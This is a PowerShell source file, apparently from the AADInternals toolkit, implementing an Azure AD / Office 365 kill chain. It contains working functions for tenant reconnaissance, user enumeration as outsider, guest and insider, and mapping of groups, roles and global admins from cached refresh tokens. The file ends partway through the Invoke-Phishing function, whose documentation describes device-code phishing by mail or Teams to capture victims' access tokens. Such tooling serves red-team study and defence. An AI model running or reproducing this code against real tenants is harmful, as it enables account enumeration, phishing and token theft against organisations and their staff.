KillChain.ps1

#
# This file contains functions for Azure AD / Office 365 kill chain
#


# Invokes information gathering as an outsider
# Jun 16th 2020
function Invoke-ReconAsOutsider
{
<#
    .SYNOPSIS
    Starts tenant recon of the given domain.
 
    .DESCRIPTION
    Starts tenant recon of the given domain. Gets all verified domains of the tenant and extracts information such as their type.
    Also checks whether Desktop SSO (aka Seamless SSO) is enabled for the tenant.
 
    DNS: Does the DNS record exists?
    MX: Does the MX point to Office 365?
    SPF: Does the SPF contain Exchange Online?
    Type: Federated or Managed
    STS: The FQDN of the federated IdP's (Identity Provider) STS (Security Token Service) server
 
    .Parameter DomainName
    Any domain name of the Azure AD tenant.
 
    .Parameter Single
    If the switch is used, doesn't get other domains of the tenant.
 
    .Example
    Invoke-AADIntReconAsOutsider -Domain company.com | Format-Table
 
    Tenant brand: Company Ltd
    Tenant name: company
    Tenant id: 05aea22e-32f3-4c35-831b-52735704feb3
    DesktopSSO enabled: False
 
    Name DNS MX SPF DMARC Type STS
    ---- --- -- --- ----- ---- ---
    company.com True True True True Federated sts.company.com
    company.mail.onmicrosoft.com True True True True Managed
    company.onmicrosoft.com True True True False Managed
    int.company.com False False False False Managed
#>

    [cmdletbinding()]
    Param(
        [Parameter(Mandatory=$True)]
        [String]$DomainName,
        [Switch]$Single
    )
    Process
    {
        Write-Verbose "Checking if the domain $DomainName is registered to Azure AD"
        $tenantId =    Get-TenantID -Domain $DomainName
        $tenantName =  ""
        $tenantBrand = ""
        $tenantSSO =   ""
        if([string]::IsNullOrEmpty($tenantId))
        {
            throw "Domain $DomainName is not registered to Azure AD"
        }

        Write-Verbose "`n*`n* EXAMINING TENANT $tenantId`n*"

        # Don't try to get other domains
        if($Single)
        {
            $domains = @($DomainName)
        }
        else
        {
            Write-Verbose "Getting domains.."
            $domains = Get-TenantDomains -Domain $DomainName
            Write-Verbose "Found $($domains.count) domains!"
        }

        # Create an empty list
        $domainInformation = @()

        # Counter
        $c=1

        # Loop through the domains
        foreach($domain in $domains)
        {
            # Define variables
            $exists =      $false
            $hasCloudMX =  $false
            $hasCloudSPF = $false

            Write-Progress -Activity "Getting DNS information" -Status $domain -PercentComplete (($c/$domains.count)*100)
            $c++

            # Check if this is "the initial" domain
            if([string]::IsNullOrEmpty($tenantName) -and $domain.ToLower() -match "^[^.]*\.onmicrosoft.com$")
            {
                $tenantName = $domain.Substring(0,$domain.IndexOf("."))
                Write-Verbose "TENANT NAME: $tenantName"
            }

            # Check whether the domain exists in DNS
            try { $exists = (Resolve-DnsName -Name $Domain -ErrorAction SilentlyContinue -DnsOnly -NoHostsFile -NoIdn).count -gt 0 }  catch{}

            if($exists)
            {
                # Check the MX record
                $hasCloudMX = HasCloudMX -Domain $domain

                # Check the SPF record
                $hasCloudSPF = HasCloudSPF -Domain $domain

                # Check the DMARC record
                $hasDMARC = HasDMARC -Domain $domain
            }

            # Check if the tenant has the Desktop SSO (aka Seamless SSO) enabled
            if([string]::IsNullOrEmpty($tenantSSO) -or $tenantSSO -eq $false)
            {
                $tenantSSO = HasDesktopSSO -Domain $domain
            }

            # Get the federation information
            $realmInfo = Get-UserRealmV2 -UserName "nn@$domain"
            if([string]::IsNullOrEmpty($tenantBrand))
            {
                $tenantBrand = $realmInfo.FederationBrandName
                Write-Verbose "TENANT BRAND: $tenantBrand"
            }
            if($authUrl = $realmInfo.AuthUrl)
            {
                # Get just the server name
                $authUrl = $authUrl.split("/")[2]
            }

            # Set the return object properties
            $attributes=[ordered]@{
                "Name" =  $domain
                "DNS" =   $exists
                "MX" =    $hasCloudMX
                "SPF" =   $hasCloudSPF
                "DMARC" = $hasDMARC
                "Type" =  $realmInfo.NameSpaceType
                "STS" =   $authUrl                    
            }
            $domainInformation += New-Object psobject -Property $attributes
        }

        Write-Host "Tenant brand: $tenantBrand"
        Write-Host "Tenant name: $tenantName"
        Write-Host "Tenant id: $tenantId"

        # DesktopSSO status not definitive with a single domain
        if(!$Single -or $tenantSSO -eq $true)
        {
            Write-Host "DesktopSSO enabled: $tenantSSO"
        }
        
        return $domainInformation
    }

}


# Tests whether the user exists in Azure AD or not
# Jun 16th 2020
function Invoke-UserEnumerationAsOutsider
{
<#
    .SYNOPSIS
    Checks whether the given user exists in Azure AD or not. Returns $True or $False or empty.
 
    .DESCRIPTION
    Checks whether the given user exists in Azure AD or not. Works also with external users! Supports two enumeration methods: Normal and Login.
    The Normal method works only if the user is in the tenant where Desktop SSO (aka Seamless SSO) is enabled for any domain.
 
    The Login method works with any tenant, but enumeration queries will be logged to Azure AD sign-in log as failed login events!
 
    Returns $True or $False if existence can be verified and empty if not.
 
    .Parameter UserName
    User name or email address of the user.
 
    .Parameter External
    Whether the given user name is for external user. Requires also -Domain parater!
 
    .Parameter Domain
    The initial domain of the given tenant.
 
    .Parameter Method
    The used enumeration method. One of "Normal","Login"
 
    .Example
    Invoke-AADIntUserEnumerationAsOutsider -UserName user@company.com
 
    UserName Exists
    -------- ------
    user@company.com True
 
    .Example
    Invoke-AADIntUserEnumerationAsOutsider -UserName external.user@gmail.com -External -Domain company.onmicrosoft.com
 
    UserName Exists
    -------- ------
    external.user_gmail.com#EXT#@company.onmicrosoft.com True
 
    .Example
    Get-Content .\users.txt | Invoke-AADIntUserEnumerationAsOutsider
 
    UserName Exists
    -------- ------
    user@company.com True
    user2@company.com False
    user@company.net
    external.user_gmail.com#EXT#@company.onmicrosoft.com True
    external.user_outlook.com#EXT#@company.onmicrosoft.com False
 
    .Example
    Get-Content .\users.txt | Invoke-AADIntUserEnumerationAsOutsider -Method Login
 
    UserName Exists
    -------- ------
    user@company.com True
    user2@company.com False
    user@company.net True
    external.user_gmail.com#EXT#@company.onmicrosoft.com True
    external.user_outlook.com#EXT#@company.onmicrosoft.com False
#>

    [cmdletbinding()]
    Param(
        [Parameter(ParameterSetName="Normal",  Mandatory=$True,ValueFromPipeline)]
        [Parameter(ParameterSetName="External",Mandatory=$True,ValueFromPipeline)]
        [String]$UserName,
        [Parameter(ParameterSetName="External", Mandatory=$True)]
        [Switch]$External,
        [Parameter(ParameterSetName="External",Mandatory=$True)]
        [String]$Domain,
        [Parameter(Mandatory=$False)]
        [ValidateSet("Normal","Login")]
        [String]$Method="Normal"
    )
    Process
    {
        # If the user is external, change to correct format
        if($External)
        {
            $UserName="$($UserName.Replace("@","_"))#EXT#@$domain"
        }

        return new-object psobject -Property ([ordered]@{"UserName"=$UserName;"Exists" = $(DoesUserExists -User $UserName -Method $Method)})
    }
}

# Invokes information gathering as a guest user
# Jun 16th 2020
function Invoke-ReconAsGuest
{
<#
    .SYNOPSIS
    Starts tenant recon of Azure AD tenant. Prompts for tenant.
 
    .DESCRIPTION
    Starts tenant recon of Azure AD tenant. Prompts for tenant.
    Retrieves information from Azure AD tenant, such as, the number of Azure AD objects and quota, and the number of domains (both verified and unverified).
 
    .Example
    Get-AADIntAccessTokenForAzureCoreManagement -SaveToCache
 
    PS C:\>$results = Invoke-AADIntReconAsGuest
 
    PS C:\>$results.allowedActions
 
    application : {read}
    domain : {read}
    group : {read}
    serviceprincipal : {read}
    tenantdetail : {read}
    user : {read, update}
    serviceaction : {consent}
 
    .Example
    Get-AADIntAccessTokenForAzureCoreManagement -SaveToCache
 
    PS C:\>Get-AADIntAzureTenants
 
    Id Country Name Domains
    -- ------- ---- -------
    221769d7-0747-467c-a5c1-e387a232c58c FI Firma Oy {firma.mail.onmicrosoft.com, firma.onmicrosoft.com, firma.fi}
    6e3846ee-e8ca-4609-a3ab-f405cfbd02cd US Company Ltd {company.onmicrosoft.com, company.mail.onmicrosoft.com,company.com}
 
    PS C:\>Get-AADIntAccessTokenForAzureCoreManagement -SaveToCache -Tenant 6e3846ee-e8ca-4609-a3ab-f405cfbd02cd
 
    $results = Invoke-AADIntReconAsGuest
 
    Tenant brand: Company Ltd
    Tenant name: company.onmicrosoft.com
    Tenant id: 6e3846ee-e8ca-4609-a3ab-f405cfbd02cd
    Azure AD objects: 520/500000
    Domains: 6 (4 verified)
    Non-admin users restricted? True
    Users can register apps? True
    Directory access restricted? False
    Guest access: Normal
    CA policies: 7
 
    PS C:\>$results.allowedActions
 
    application : {read}
    domain : {read}
    group : {read}
    serviceprincipal : {read}
    tenantdetail : {read}
    user : {read, update}
    serviceaction : {consent}
     
#>

    [cmdletbinding()]
    Param()
    Begin
    {
        # Choises
        $choises="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ!""#%&/()=?*+-_"
    }
    Process
    {
        # Get access token from cache
        $AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://management.core.windows.net/" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"

        # Get the list of tenants the user has access to
        $tenants = Get-AzureTenants -AccessToken $AccessToken
        $tenantNames = $tenants | select -ExpandProperty Name

        # Prompt for tenant choice if more than one
        if($tenantNames.count -gt 1)
        {
            $options = [System.Management.Automation.Host.ChoiceDescription[]]@()
            for($p=0; $p -lt $tenantNames.count; $p++)
            {
                $options += New-Object System.Management.Automation.Host.ChoiceDescription "&$($choises[$p % $choises.Length]) $($tenantNames[$p])"
            }
            $opt = $host.UI.PromptForChoice("Choose the tenant","Choose the tenant to recon",$options,0)
            }
        else
        {
            $opt=0
        }
        $tenantInfo = $tenants[$opt]
        $tenant =     $tenantInfo.Id

        # Get the tenant information
        $tenantInformation = Get-AzureInformation -Tenant $tenant

        # Guest access
        if(!$tenantInformation.authorizationPolicy)
        {
            $tenantInformation.guestAccess = "unknown"
        }

        # Print out some relevant information
        Write-Host "Tenant brand: $($tenantInformation.displayName)"
        Write-Host "Tenant name: $($tenantInformation.domains | where isInitial -eq "True" | select -ExpandProperty id)"
        Write-Host "Tenant id: $($tenantInformation.objectId)"
        Write-Host "Azure AD objects: $($tenantInformation.directorySizeQuota.used)/$($tenantInformation.directorySizeQuota.total)"
        Write-Host "Domains: $($tenantInformation.domains.Count) ($(($tenantInformation.domains | where isVerified -eq "True").Count) verified)"
        Write-Host "Non-admin users restricted? $($tenantInformation.restrictNonAdminUsers)"
        Write-Host "Users can register apps? $($tenantInformation.usersCanRegisterApps)"
        Write-Host "Directory access restricted? $($tenantInformation.restrictDirectoryAccess)"
        Write-Host "Guest access: $($tenantInformation.guestAccess)"
        Write-Host "CA policies: $($tenantInformation.conditionalAccessPolicy.Count)" 

        # Return
        return $tenantInformation

    }
}

# Starts crawling the organisation for user names and groups
# Jun 16th 2020
function Invoke-UserEnumerationAsGuest
{
<#
    .SYNOPSIS
    Crawls the target organisation for user names and groups.
 
    .DESCRIPTION
    Crawls the target organisation for user names, groups, and roles. The starting point is the signed-in user, a given username, or a group id.
    The crawl can be controlled with switches. Group members are limited to 1000 entries per group.
 
    Groups: Include user's groups
    GroupMembers: Include members of user's groups
    Roles: Include roles of user and group members. Can be very time consuming!
    Manager: Include user's manager
    Subordinates: Include user's subordinates (direct reports)
     
    UserName: User principal name (UPN) of the user to search.
    GroupId: Id of the group. If this is given, only the members of the group are included.
 
    .Example
    $results = Invoke-AADIntUserEnumerationAsGuest -UserName user@company.com
 
    Tenant brand: Company Ltd
    Tenant name: company.onmicrosoft.com
    Tenant id: 6e3846ee-e8ca-4609-a3ab-f405cfbd02cd
    Logged in as: live.com#user@outlook.com
    Users: 5
    Groups: 2
    Roles: 0
 
#>

    [cmdletbinding()]
    Param(
        [Parameter(Mandatory=$False)]
        [String]$UserName,
        [Switch]$Groups,
        [Switch]$GroupMembers,
        [Switch]$Subordinates,
        [Switch]$Manager,
        [Switch]$Roles,
        [Parameter(Mandatory=$False)]
        [String]$GroupId
    )
    Begin
    {
        # Choises
        $choises="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ!""#%&/()=?*+-_"
    }
    Process
    {
        # Get access token from cache
        $AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://management.core.windows.net/" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"

        # Get the list of tenants the user has access to
        Write-Verbose "Getting list of user's tenants.."
        $tenants = Get-AzureTenants -AccessToken $AccessToken
        $tenantNames = $tenants | select -ExpandProperty Name

        # Prompt for tenant choice if more than one
        if($tenantNames.count -gt 1)
        {
            $options = [System.Management.Automation.Host.ChoiceDescription[]]@()
            for($p=0; $p -lt $tenantNames.count; $p++)
            {
                $options += New-Object System.Management.Automation.Host.ChoiceDescription "&$($choises[$p % $choises.Length]) $($tenantNames[$p])"
            }
            $opt = $host.UI.PromptForChoice("Choose the tenant","Choose the tenant to recon",$options,0)
            }
        else
        {
            $opt=0
        }
        $tenantInfo = $tenants[$opt]
        $tenant =     $tenantInfo.Id

        # Create a new AccessToken for graph.microsoft.com
        $refresh_token = $script:refresh_tokens["d3590ed6-52b3-4102-aeff-aad2292ab01c-https://management.core.windows.net/"]
        if([string]::IsNullOrEmpty($refresh_token))
        {
            throw "No refresh token found! Use Get-AADIntAccessTokenForAzureCoreManagement with -SaveToCache switch"
        }
        $AccessToken = Get-AccessTokenWithRefreshToken -Resource "https://graph.microsoft.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c" -TenantId $tenant -RefreshToken $refresh_token -SaveToCache $true

        # Get the initial domain
        $domains = Get-MSGraphDomains -AccessToken $AccessToken
        $tenantDomain = $domains | where isInitial -eq "True" | select -ExpandProperty id
        if([string]::IsNullOrEmpty($tenantDomain))
        {
            Throw "No initial domain found for the tenant $tenant!"
        }
        Write-Verbose "Tenant $Tenant / $tenantDomain selected."

        

        # If GroupID is given, dump only the members of that group
        if($GroupId)
        {
            # Create users object
            $ht_users=@{}

            # Get group members
            $members = Get-MSGraphGroupMembers -AccessToken $AccessToken -GroupId $GroupId

            # Create a variable for members
            $itemMembers = @()

            # Loop trough the members
            foreach($member in $members)
            {
                $ht_users[$member.Id] = $member
                $itemMembers += $member.userPrincipalName
            }
        }
        else
        {

            # If user name not given, try to get one from the access token
            if([string]::IsNullOrEmpty($UserName))
            {
                $UserName = (Read-Accesstoken -AccessToken $AccessToken).upn

                # If upn not found, this is probably live.com user, so use email instead of upn
                if([string]::IsNullOrEmpty($UserName))
                {
                    $UserName = (Read-Accesstoken -AccessToken $AccessToken).email
                }

                if(-not ($UserName -like "*#EXT#*"))
                {
                    # As this must be an extrernal user, convert to external format
                    $UserName = "$($UserName.Replace("@","_"))#EXT#@$tenantDomain"
                }
            }

            Write-Verbose "Getting user information for user $UserName"

            # Get the user information
            $user = Get-MSGraphUser -UserPrincipalName $UserName -AccessToken $AccessToken 

            if([string]::IsNullOrEmpty($user))
            {
                throw "User $UserName not found!"
            }

            # Create the users object
            $ht_users=@{
                $user.id = $user
                }

            # Create the groups object
            $ht_groups=@{}

            # Create the roles object
            $ht_roles=@{}

            Write-Verbose "User found: $($user.id) ($($user.userPrincipalName))"

            # Loop through the user's subordinates
            if($Subordinates)
            {
                # Copy the keys as the hashtable may change
                $so_keys = New-Object string[] $ht_users.Count
                $ht_users.Keys.CopyTo($so_keys,0)

                # Loop through the users
                foreach($userId in $so_keys)
                {
                    $user = $ht_users[$userId].userPrincipalName
                    Write-Verbose "Getting subordinates of $user"

                    # Get user's subordinates
                    $userSubordinates = Get-MSGraphUserDirectReports -AccessToken $AccessToken -UserPrincipalName $user

                    # Loop trough the users
                    foreach($subordinate in $userSubordinates)
                    {
                        $ht_users[$subordinate.Id] = $subordinate
                    }
                }
            }

            # Get user's manager
            if($Manager)
            {
                try{$userManager= Get-MSGraphUserManager -AccessToken $AccessToken -UserPrincipalName $UserName}catch{}
                if($userManager)
                {
                    $ht_users[$userManager.id] = $userManager
                }
            }

            # Loop through the users' groups
            if($Groups -or $GroupMembers)
            {
                foreach($userId in $ht_users.Keys)
                {
                    $groupUser = $ht_users[$userId].userPrincipalName
                    Write-Verbose "Getting groups of $groupUser"

                    # Get user's groups
                    $userGroups = Get-MSGraphUserMemberOf -AccessToken $AccessToken -UserPrincipalName $groupUser

                    # Loop trough the groups
                    foreach($group in $userGroups)
                    {
                        # This is a normal group
                        if($group.'@odata.type' -eq "#microsoft.graph.group")
                        {
                            $ht_groups[$group.id] = $group
                            #$itemGroups += $group.id
                        }
                    }

                }
            }

            # Loop through the group members
            if($GroupMembers)
            {
                foreach($groupId in $ht_groups.Keys)
                {
                    Write-Verbose "Getting groups of $groupUser"

                    # Get group members
                    $members = Get-MSGraphGroupMembers -AccessToken $AccessToken -GroupId $groupId

                    # Create a variable for members
                    $itemMembers = @()

                    # Loop trough the members
                    foreach($member in $members)
                    {
                        $ht_users[$member.Id] = $member
                        $itemMembers += $member.userPrincipalName
                    }

                    # Add members to the group
                    $ht_groups[$groupId] | Add-Member -NotePropertyName "members" -NotePropertyValue $itemMembers

                    # Get group owners
                    $owners = Get-MSGraphGroupOwners -AccessToken $AccessToken -GroupId $groupId

                    # Create a variable for members
                    $itemOwners = @()

                    # Loop trough the members
                    foreach($owner in $owners)
                    {
                        $ht_users[$owner.Id] = $owner
                        $itemOwners += $owner.userPrincipalName
                    }

                    # Add members to the group
                    $ht_groups[$groupId] | Add-Member -NotePropertyName "owners" -NotePropertyValue $itemOwners
                }
            }

            # Loop through the users' roles
            if($Roles)
            {
                foreach($userId in $ht_users.Keys)
                {
                    $roleUser = $ht_users[$userId].userPrincipalName
                    Write-Verbose "Getting roles of $roleUser"

                    # Get user's roles
                    $userRoles = Get-MSGraphUserMemberOf -AccessToken $AccessToken -UserPrincipalName $roleUser

                    # Loop trough the groups
                    foreach($userRole in $userRoles)
                    {
                        if($userRole.'@odata.type' -eq "#microsoft.graph.directoryRole")
                        {
                            # Try to get the existing role first
                            $role = $ht_roles[$userRole.id]
                            if($role)
                            {
                                # Add a new member to the role
                                $role.members+=$ht_users[$userId].userPrincipalName
                            }
                            else
                            {
                                # Create a members attribute
                                $userRole | Add-Member -NotePropertyName "members" -NotePropertyValue @($ht_users[$userId].userPrincipalName)
                                $role = $userRole
                            }

                            $ht_roles[$role.id] = $role
                        }
                    }

                }
            }

            # Loop through the role members
            if($Roles)
            {
                foreach($roleId in $ht_roles.Keys)
                {
                    $members = $null
                    Write-Verbose "Getting role members for '$($ht_roles[$roleId].displayName)'"

                    # Try to get role members, usually fails
                    try{$members = Get-MSGraphRoleMembers -AccessToken $AccessToken -RoleId $roleId}catch{ }

                    if($members)
                    {
                        # Create a variable for members
                        $itemMembers = @()

                        # Loop trough the members
                        foreach($member in $members)
                        {
                            $ht_users[$member.Id] = $member
                            $itemMembers += $member.userPrincipalName
                        }

                        # Add members to the role
                        $ht_roles[$roleId] | Add-Member -NotePropertyName "members" -NotePropertyValue $itemMembers -Force
                    }
                }
            }
        }

        # Print out some relevant information
        Write-Host "Tenant brand: $($tenantInfo.Name)"
        Write-Host "Tenant name: $tenantDomain"
        Write-Host "Tenant id: $($tenantInfo.id)"
        Write-Host "Logged in as: $((Read-Accesstoken -AccessToken $AccessToken).unique_name)"
        Write-Host "Users: $($ht_users.count)"
        Write-Host "Groups: $($ht_groups.count)"
        Write-Host "Roles: $($ht_roles.count)"

        # Create the return value
        $attributes=@{
            "Users" =  $ht_users.values
            "Groups" = $ht_groups.Values
            "Roles" =  $ht_roles.Values
        }
        return New-Object psobject -Property $attributes
    }
}


# Invokes information gathering as an internal user
# Aug 4th 2020
function Invoke-ReconAsInsider
{
<#
    .SYNOPSIS
    Starts tenant recon of Azure AD tenant.
 
    .DESCRIPTION
    Starts tenant recon of Azure AD tenant.
     
    .Example
    Get-AADIntAccessTokenForAzureCoreManagement
 
    PS C:\>$results = Invoke-AADIntReconAsInsider
 
    Tenant brand: Company Ltd
    Tenant name: company.onmicrosoft.com
    Tenant id: 6e3846ee-e8ca-4609-a3ab-f405cfbd02cd
    Azure AD objects: 520/500000
    Domains: 6 (4 verified)
    Non-admin users restricted? True
    Users can register apps? True
    Directory access restricted? False
    Directory sync enabled? true
    Global admins 3
    CA policies: 7
 
    PS C:\>$results.roleInformation | Where Members -ne $null | select Name,Members
 
    Name Members
    ---- -------
    Company Administrator {@{DisplayName=MOD Administrator; UserPrincipalName=admin@company.onmicrosoft.com}, @{D...
    User Account Administrator @{DisplayName=User Admin; UserPrincipalName=useradmin@company.com}
    Directory Readers {@{DisplayName=Microsoft.Azure.SyncFabric; UserPrincipalName=}, @{DisplayName=MicrosoftAzur...
    Directory Synchronization Accounts {@{DisplayName=On-Premises Directory Synchronization Service Account; UserPrincipalName=Syn...
#>

    [cmdletbinding()]
    Param()
    Begin
    {
        
    }
    Process
    {
        # Get access token from cache
        $AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://management.core.windows.net/" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
        
        # Get the refreshtoken from the cache and create AAD token
        $tenantId = (Read-Accesstoken $AccessToken).tid
        $refresh_token=$script:refresh_tokens["d3590ed6-52b3-4102-aeff-aad2292ab01c-https://management.core.windows.net/"]
        $AAD_AccessToken = Get-AccessTokenWithRefreshToken -RefreshToken $refresh_token -Resource "https://graph.windows.net" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c" -TenantId $tenantId

        # Get the tenant information
        Write-Verbose "Getting company information"
        $companyInformation = Get-CompanyInformation -AccessToken $AAD_AccessToken

        # Get the sharepoint information
        Write-Verbose "Getting SharePoint Online information"
        $sharePointInformation = Get-SPOServiceInformation -AccessToken $AAD_AccessToken

        # Get the admins
        Write-Verbose "Getting role information"
        $roles = Get-Roles -AccessToken $AAD_AccessToken
        $roleInformation=@()
        $sortedRoles = $roles.Role | Sort -Property Name
        foreach($role in $roles.Role)
        {
            Write-Verbose "Getting members of role ""$($role.Name)"""
            $attributes=[ordered]@{}
            $attributes["Name"] = $role.Name
            $attributes["IsEnabled"] = $role.IsEnabled
            $attributes["IsSystem"] = $role.IsSystem
            $attributes["ObjectId"] = $role.ObjectId
            $members = Get-RoleMembers -AccessToken $AAD_AccessToken -RoleObjectId $role.ObjectId | select @{N='DisplayName'; E={$_.DisplayName}},@{N='UserPrincipalName'; E={$_.EmailAddress}}

            $attributes["Members"] = $members

            $roleInformation += New-Object psobject -Property $attributes
        }

        # Get the tenant information
        $tenantInformation = Get-AzureInformation -Tenant $tenantId

        # Set the extra tenant information
        $tenantInformation |Add-Member -NotePropertyName "companyInformation" -NotePropertyValue $companyInformation
        $tenantInformation |Add-Member -NotePropertyName "SPOInformation"     -NotePropertyValue $sharePointInformation
        $tenantInformation |Add-Member -NotePropertyName "roleInformation"    -NotePropertyValue $roleInformation

        # Print out some relevant information
        Write-Host "Tenant brand: $($tenantInformation.displayName)"
        Write-Host "Tenant name: $($tenantInformation.domains | where isInitial -eq "True" | select -ExpandProperty id)"
        Write-Host "Tenant id: $tenantId"
        Write-Host "Azure AD objects: $($tenantInformation.directorySizeQuota.used)/$($tenantInformation.directorySizeQuota.total)"
        Write-Host "Domains: $($tenantInformation.domains.Count) ($(($tenantInformation.domains | where isVerified -eq "True").Count) verified)"
        Write-Host "Non-admin users restricted? $($tenantInformation.restrictNonAdminUsers)"
        Write-Host "Users can register apps? $($tenantInformation.usersCanRegisterApps)"
        Write-Host "Directory access restricted? $($tenantInformation.restrictDirectoryAccess)"
        Write-Host "Directory sync enabled? $($tenantInformation.companyInformation.DirectorySynchronizationEnabled)"
        Write-Host "Global admins: $(($tenantInformation.roleInformation | Where-Object ObjectId -eq "62e90394-69f5-4237-9190-012177145e10" | Select-Object -ExpandProperty Members).Count)" 
        Write-Host "CA policies: $($tenantInformation.conditionalAccessPolicy.Count)" 

        # Return
        return $tenantInformation

    }
}

# Starts crawling the organisation for user names and groups
# Jun 16th 2020
function Invoke-UserEnumerationAsInsider
{
<#
    .SYNOPSIS
    Dumps user names and groups of the tenant.
 
    .DESCRIPTION
    Dumps user names and groups of the tenant.
    By default, the first 1000 users and groups are returned.
 
    Groups: Include groups
    GroupMembers: Include members of the groups (not recommended)
         
    GroupId: Id of the group. If this is given, only one group and members are included.
 
    .Example
    C:\PS>$results = Invoke-AADIntUserEnumerationAsInsider
 
    Users: 5542
    Groups: 212
 
    C:\PS>$results.Users[0]
 
    id : 7ab0eb51-b7cb-4ff0-84ec-893a413d7b4a
    displayName : User Demo
    userPrincipalName : User@company.com
    onPremisesImmutableId : UQ989+t6fEq9/0ogYtt1pA==
    onPremisesLastSyncDateTime : 2020-07-14T08:18:47Z
    onPremisesSamAccountName : UserD
    onPremisesSecurityIdentifier : S-1-5-21-854168551-3279074086-2022502410-1104
    refreshTokensValidFromDateTime : 2019-07-14T08:21:35Z
    signInSessionsValidFromDateTime : 2019-07-14T08:21:35Z
    proxyAddresses : {smtp:User@company.onmicrosoft.com, SMTP:User@company.com}
    businessPhones : {+1234567890}
    identities : {@{signInType=userPrincipalName; issuer=company.onmicrosoft.com; issuerAssignedId=User@company.com}}
 
 
 
#>

    [cmdletbinding()]
    Param(
        [Parameter(Mandatory=$False)]
        [int] $MaxResults=1000,
        [switch] $Groups,
        [switch] $GroupMembers,
        [Parameter(Mandatory=$False)]
        [String]$GroupId
    )
    Begin
    {
    }
    Process
    {
        # Get access token from cache
        $AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://management.core.windows.net/" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"

         # Create a new AccessToken for graph.microsoft.com
        $refresh_token = $script:refresh_tokens["d3590ed6-52b3-4102-aeff-aad2292ab01c-https://management.core.windows.net/"]
        if([string]::IsNullOrEmpty($refresh_token))
        {
            throw "No refresh token found! Use Get-AADIntAccessTokenForAzureCoreManagement with -SaveToCache switch"
        }
        # MSGraph Access Token
        $AccessToken = Get-AccessTokenWithRefreshToken -Resource "https://graph.microsoft.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c" -TenantId (Read-Accesstoken $AccessToken).tid -RefreshToken $refresh_token -SaveToCache $true

        # Get the users and some relevant information
        if([String]::IsNullOrEmpty($GroupId))
        {
            $users = Call-MSGraphAPI -MaxResults $MaxResults -AccessToken $AccessToken -API "users" -ApiVersion "v1.0" -QueryString "`$select=id,displayName,userPrincipalName,userType,onPremisesImmutableId,onPremisesLastSyncDateTime,onPremisesSamAccountName,onPremisesSecurityIdentifier,refreshTokensValidFromDateTime,signInSessionsValidFromDateTime,proxyAddresses,businessPhones,identities"
        }

        # Get the groups
        if($Groups -or $GroupMembers -or $GroupId)
        {
            $groupsAPI="groups"
            $groupQS = ""
            if($GroupMembers -or $GroupId)
            {
                $groupQS="`$expand=members"
            }
            if($GroupId)
            {
                $groupsAPI="groups/$GroupId/"
            }
            $groupResults = Call-MSGraphAPI -MaxResults $MaxResults -AccessToken $AccessToken -API $groupsAPI -ApiVersion "v1.0" -QueryString $groupQS
        }
        $attributes=@{
            "Users" =  $users
            "Groups" = $groupResults
        }

        # Print out some relevant information
        Write-Host "Users: $($Users.count)"
        Write-Host "Groups: $(if($GroupId -and $groupResults -ne $null){1}else{$groupResults.count})"

        # Return
        New-Object psobject -Property $attributes
    }
}

# Sends phishing email to given recipients
# Oct 13th 2020
function Invoke-Phishing
{
<#
    .SYNOPSIS
    Sends phishing mail to given recipients and receives user's access token
 
    .DESCRIPTION
    Sends phishing mail to given recipients and receives user's access token using device code authentication flow.
 
    .Parameter Tenant
    Tenant id of tenant used for authentication. Defaults to "Common"
 
    .Parameter Tenant
    Tenant id of tenant used for authentication. Defaults to "Common"
 
    .Parameter Recipients
    Comma separated list of recipient emails
 
    .Parameter Subject
    Subject of the email
 
    .Parameter Sender
    Sender of the email. Supports the plain email "user@example.com" and display name "Some User <user@example.com" formats
 
    .Parameter SMTPServer
    Ip address or FQDN of the SMTP server used to send the email
 
    .Parameter SMTPCredentials
    Credentials used to authenticate to SMTP server
 
    .Parameter Message
    An html message to be sent to recipients. Uses string formatting to insert url and user code.
    {0} = user code
    {1} = signing url
 
    Default message:
    '<div>Hi!<br/>This is a message sent to you by someone who is using <a href="https://o365blog.com/aadinternals">AADInternals</a> phishing function. <br/><br/>Here is a <a href="{1}">link</a> you <b>should not click</b>.<br/><br/>If you still decide to do so, provide the following code when requested: <b>{0}</b>.</div>'
 
    .Parameter CleanMessage
    An html message used to replace the original Teams message after the access token has been received.
 
    Default message:
    '<div>Hi!<br/>This is a message sent to you by someone who is using <a href="https://o365blog.com/aadinternals">AADInternals</a> phishing function. <br/>If you are seeing this, <b>someone has stolen your identity!</b>.</div>'
 
    .Parameter Teams
    Switch indicating that Teams is used for sending phishing messages.
 
    .Example
    $tokens = Invoke-AADIntPhishing -Recipients svictim@company.com -Subject "Johnny shared a document with you" -Sender "Johnny Carson <jc@somewhere.com>" -SMTPServer smtp.myserver.local
 
    Code: CKDZ2BURF
    Mail sent to: wvictim@company.com
    ...
    Received access token for william.victim@company.com
 
    .Example
    $tokens = Invoke-AADIntPhishing -Recipients "wvictim@company.com","wvictim2@company.com" -Subject "Johnny shared a document with you" -Sender "Johnny Carson <jc@somewhere.com>" -SMTPServer smtp.myserver.local -SaveToCache
 
    Code: CKDZ2BURF
    Mail sent to: wvictim@company.com
    Mail sent to: wvictim2@company.com
    ...
    Received access token for william.victim@company.com
 
    PS C:\>$results = Invoke-AADIntReconAsInsider
 
    Tenant brand: company.com
    Tenant name: company.onmicrosoft.com
    Tenant id: d4e225d6-8877-4bc6-b68c-52c44011ba81
    Azure AD objects: 147960/300000
    Domains: 5 (5 verified)
    Non-admin users restricted? True
    Users can register apps? True
    Directory access restricted? False
    Directory sync enabled? true
    Global admins 10
 
    .Example
    PS C:\>Get-AADIntAccessTokenForAzureCoreManagement -SaveToCache
 
    PS C:\>$tokens = Invoke-AADPhishing -Recipients "wvictim@company.com" -Teams
     
    ```
    Code: CKDZ2BURF
    Teams message sent to: wvictim@company.com. Message id: 132473151989090816
    ...
    Received access token for william.victim@company.com
     
#>

    [cmdletbinding()]
    Param(
